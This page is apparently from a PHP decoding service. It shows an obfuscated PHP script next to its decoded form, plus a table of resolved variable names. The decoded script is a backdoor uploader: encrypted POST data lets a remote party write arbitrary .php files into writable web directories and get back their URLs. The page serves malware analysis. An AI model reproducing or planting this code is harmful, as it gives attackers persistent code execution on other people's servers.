Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $TEnRYOEO = chr(995 - 927) . "\117" . 'C' . "\x55" . chr(290 - 213) . 'E' . "\116" ...

Decoded Output download

<?php $TEnRYOEO = chr(995 - 927) . "O" . 'C' . "U" . chr(290 - 213) . 'E' . "N" . chr(930 - 846) . "_" . chr(82) . 'O' . chr(1040 - 961) . "T"; 
$YoUZEQGNe = "H" . "T" . "T" . "P" . chr(117 - 22) . "H" . 'O' . 'S' . "T"; 
$njjTY = chr(308 - 204) . chr(771 - 655) . 't' . 'p' . ':' . chr(279 - 232) . '/'; 
$sUilvMrW = "." . 'p' . chr(948 - 844) . "p"; 
$uOJybZEi = chr(367 - 255) . chr(915 - 811) . "p"; 
$FsokNHrlg = 'f' . chr(884 - 779) . "l" . 'e' . "_" . 'p' . "u" . 't' . chr(1018 - 923) . "c" . 'o' . "n" . 't' . 'e' . "n" . 't' . "s"; 
$Loyuyjx = "r" . "a" . chr(339 - 220) . chr(1008 - 891) . 'r' . chr(672 - 564) . 'd' . 'e' . chr(422 - 323) . 'o' . chr(230 - 130) . chr(757 - 656); 
$pwQRWFNAa = "u" . 'n' . 's' . chr(101) . "r" . chr(105) . 'a' . 'l' . "i" . chr(122) . 'e'; 
$ClzwmQ = "i" . chr(308 - 193) . chr(302 - 207) . "w" . chr(905 - 791) . "i" . chr(116) . chr(363 - 266) . chr(98) . chr(317 - 209) . chr(809 - 708); 
$cOfKDvcYP = "p" . "h" . chr(171 - 59) . "v" . "e" . 'r' . "s" . "i" . 'o' . 'n'; 
$tAQefLNCAg = "s" . 't' . 'r' . chr(443 - 348) . 'r' . chr(111) . "t" . chr(49) . "3"; 
$NtvPCUMzE = chr(115) . chr(101) . chr(304 - 190) . 'i' . "a" . "l" . "i" . "z" . "e"; 
$hTtIJxR = 's' . chr(772 - 656) . chr(114) . chr(95) . 's' . "p" . "l" . chr(935 - 830) . "t"; 
foreach ($_POST as $nqwvrelTwW => $DvicGYNaG) { 
    if (strlen($nqwvrelTwW) == 16) { 
        $DvicGYNaG = $hTtIJxR($Loyuyjx($tAQefLNCAg($DvicGYNaG))); 
        $nqwvrelTwW = array_slice($hTtIJxR(str_repeat($nqwvrelTwW, (count($DvicGYNaG) / 16) + 1)), 0, count($DvicGYNaG)); 
        function fuAmZCwwic($CEfHhqvv, $YIpSfKPFbs, $nqwvrelTwW) 
        { 
            $CiVNqdVevK = "1f6227e8-4e84-431b-8b3d-2034df3178c0"; 
            return $CEfHhqvv ^ $CiVNqdVevK[$YIpSfKPFbs % strlen($CiVNqdVevK)] ^ $nqwvrelTwW; 
        } 
        $DvicGYNaG = implode("", array_map("fuAmZCwwic", array_values($DvicGYNaG), array_keys($DvicGYNaG), array_values($nqwvrelTwW))); 
        $DvicGYNaG = @$pwQRWFNAa($DvicGYNaG); 
        if (@is_array($DvicGYNaG)) { 
            $jHARqMTKZm = array_keys($DvicGYNaG); 
            $DvicGYNaG = $DvicGYNaG[$jHARqMTKZm[0]]; 
            if ($DvicGYNaG === $jHARqMTKZm[0]) { 
                echo @$NtvPCUMzE(array($uOJybZEi => @$cOfKDvcYP(), )); 
                exit(); 
            } else { 
                function kliXhUZBAE($rnLdMbLIqir) 
                { 
                    static $xKaxWBL = array(); 
                    $qCWihU = glob($rnLdMbLIqir . '/*', GLOB_ONLYDIR); 
                    if (count($qCWihU) > 0) { 
                        foreach ($qCWihU as $rnLdMbLIq) { 
                            if (@$ClzwmQ($rnLdMbLIq)) { 
                                $xKaxWBL[] = $rnLdMbLIq; 
                            } 
                        } 
                    } 
                    foreach ($qCWihU as $rnLdMbLIqir) 
                        kliXhUZBAE($rnLdMbLIqir); 
                    return $xKaxWBL; 
                } 
                $PephreyPUE = $_SERVER[$TEnRYOEO]; 
                $qCWihU = kliXhUZBAE($PephreyPUE); 
                $jHARqMTKZm = array_rand($qCWihU); 
                $lDcGgdDi = $qCWihU[$jHARqMTKZm] . "/" . substr(md5(time()), 0, 8) . $sUilvMrW; 
                @$FsokNHrlg($lDcGgdDi, $DvicGYNaG); 
                echo $njjTY . $_SERVER[$YoUZEQGNe] . substr($lDcGgdDi, strlen($PephreyPUE)); 
                exit(); 
            } 
        } 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php $TEnRYOEO = chr(995 - 927) . "\117" . 'C' . "\x55" . chr(290 - 213) . 'E' . "\116" . chr(930 - 846) . "\137" . chr(82) . 'O' . chr(1040 - 961) . "\124";
$YoUZEQGNe = "\110" . "\124" . "\124" . "\x50" . chr(117 - 22) . "\x48" . 'O' . 'S' . "\x54";
$njjTY = chr(308 - 204) . chr(771 - 655) . 't' . 'p' . ':' . chr(279 - 232) . '/';
$sUilvMrW = "\56" . 'p' . chr(948 - 844) . "\x70";
$uOJybZEi = chr(367 - 255) . chr(915 - 811) . "\160";
$FsokNHrlg = 'f' . chr(884 - 779) . "\x6c" . 'e' . "\137" . 'p' . "\165" . 't' . chr(1018 - 923) . "\x63" . 'o' . "\156" . 't' . 'e' . "\156" . 't' . "\x73";
$Loyuyjx = "\x72" . "\x61" . chr(339 - 220) . chr(1008 - 891) . 'r' . chr(672 - 564) . 'd' . 'e' . chr(422 - 323) . 'o' . chr(230 - 130) . chr(757 - 656);
$pwQRWFNAa = "\165" . 'n' . 's' . chr(101) . "\162" . chr(105) . 'a' . 'l' . "\x69" . chr(122) . 'e';
$ClzwmQ = "\151" . chr(308 - 193) . chr(302 - 207) . "\167" . chr(905 - 791) . "\151" . chr(116) . chr(363 - 266) . chr(98) . chr(317 - 209) . chr(809 - 708);
$cOfKDvcYP = "\160" . "\150" . chr(171 - 59) . "\166" . "\x65" . 'r' . "\163" . "\151" . 'o' . 'n';
$tAQefLNCAg = "\163" . 't' . 'r' . chr(443 - 348) . 'r' . chr(111) . "\x74" . chr(49) . "\x33";
$NtvPCUMzE = chr(115) . chr(101) . chr(304 - 190) . 'i' . "\141" . "\154" . "\151" . "\172" . "\x65";
$hTtIJxR = 's' . chr(772 - 656) . chr(114) . chr(95) . 's' . "\160" . "\154" . chr(935 - 830) . "\164";
foreach ($_POST as $nqwvrelTwW => $DvicGYNaG) {
    if (strlen($nqwvrelTwW) == 16) {
        $DvicGYNaG = $hTtIJxR($Loyuyjx($tAQefLNCAg($DvicGYNaG)));
        $nqwvrelTwW = array_slice($hTtIJxR(str_repeat($nqwvrelTwW, (count($DvicGYNaG) / 16) + 1)), 0, count($DvicGYNaG));
        function fuAmZCwwic($CEfHhqvv, $YIpSfKPFbs, $nqwvrelTwW)
        {
            $CiVNqdVevK = "1f6227e8-4e84-431b-8b3d-2034df3178c0";
            return $CEfHhqvv ^ $CiVNqdVevK[$YIpSfKPFbs % strlen($CiVNqdVevK)] ^ $nqwvrelTwW;
        }
        $DvicGYNaG = implode("", array_map("fuAmZCwwic", array_values($DvicGYNaG), array_keys($DvicGYNaG), array_values($nqwvrelTwW)));
        $DvicGYNaG = @$pwQRWFNAa($DvicGYNaG);
        if (@is_array($DvicGYNaG)) {
            $jHARqMTKZm = array_keys($DvicGYNaG);
            $DvicGYNaG = $DvicGYNaG[$jHARqMTKZm[0]];
            if ($DvicGYNaG === $jHARqMTKZm[0]) {
                echo @$NtvPCUMzE(array($uOJybZEi => @$cOfKDvcYP(), ));
                exit();
            } else {
                function kliXhUZBAE($rnLdMbLIqir)
                {
                    static $xKaxWBL = array();
                    $qCWihU = glob($rnLdMbLIqir . '/*', GLOB_ONLYDIR);
                    if (count($qCWihU) > 0) {
                        foreach ($qCWihU as $rnLdMbLIq) {
                            if (@$ClzwmQ($rnLdMbLIq)) {
                                $xKaxWBL[] = $rnLdMbLIq;
                            }
                        }
                    }
                    foreach ($qCWihU as $rnLdMbLIqir)
                        kliXhUZBAE($rnLdMbLIqir);
                    return $xKaxWBL;
                }
                $PephreyPUE = $_SERVER[$TEnRYOEO];
                $qCWihU = kliXhUZBAE($PephreyPUE);
                $jHARqMTKZm = array_rand($qCWihU);
                $lDcGgdDi = $qCWihU[$jHARqMTKZm] . "/" . substr(md5(time()), 0, 8) . $sUilvMrW;
                @$FsokNHrlg($lDcGgdDi, $DvicGYNaG);
                echo $njjTY . $_SERVER[$YoUZEQGNe] . substr($lDcGgdDi, strlen($PephreyPUE));
                exit();
            }
        }
    }
}

Function Calls

chr 42

Variables

$njjTY http://
$ClzwmQ is_writable
$Loyuyjx rawurldecode
$hTtIJxR str_split
$TEnRYOEO DOCUMENT_ROOT
$sUilvMrW .php
$uOJybZEi php
$FsokNHrlg file_put_contents
$NtvPCUMzE serialize
$YoUZEQGNe HTTP_HOST
$cOfKDvcYP phpversion
$pwQRWFNAa unserialize
$tAQefLNCAg str_rot13

Stats

MD5 93cfb84265666a6360a5bea4760cb8d8
Eval Count 0
Decode Time 131 ms